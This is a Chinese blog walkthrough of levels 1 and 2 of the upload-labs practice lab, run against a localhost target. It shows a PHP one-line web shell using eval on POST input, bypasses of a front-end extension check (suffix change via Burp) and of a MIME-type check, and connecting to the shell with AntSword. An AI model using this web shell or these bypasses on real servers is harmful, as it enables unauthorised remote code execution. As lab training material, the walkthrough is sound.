本文主要是介绍upload-labs-第一关和第二关,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
目录
第一关
思路:
1、上传一个php文件
2、查看源码
3、查看文件上传地址
4、BP抓包,修改文件后缀名
5、使用蚁剑连接
第二关
1、这一关也可以跟第一关一样的方法进行绕过
2、上传一个一句话木马文件
第一关
原理:
思路:
1、上传一个php文件
<?php
phpinfo();
@eval($_POST['cmd']); #一句话木马
?>
结果上传失败,并要求我们上传的文件是图片格式的
2、查看源码
发现在前端的代码作了限制,使用checkFile()来检查文件格式,我们可以使用BP抓包,修改文件的后缀名,进行上传
3、查看文件上传地址
先正常上传一个图片
右键查看图像信息,发现上传文件的保存路径
4、BP抓包,修改文件后缀名
将一句话木马文件后缀改成jpg,然后放包上传
上传成功
访问上传的地址
http://127.0.0.1:90/upload-labs-master/upload/flag.php
代码正常执行
5、使用蚁剑连接
连接成功,成功进入主机
第二关
原理:
思路:
1、这一关也可以跟第一关一样的方法进行绕过
下面演示另外一种方法,修改MIME类型
2、上传一个一句话木马文件
上传成功
3、访问上传地址
http://127.0.0.1:90/upload-labs-master/upload/flag.php
php代码正常执行,说明一句话木马也可以执行,用蚁剑连接可以参考上面
这篇文章就先写到这里了,哪里不足欢迎批评指正!
这篇关于upload-labs-第一关和第二关的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!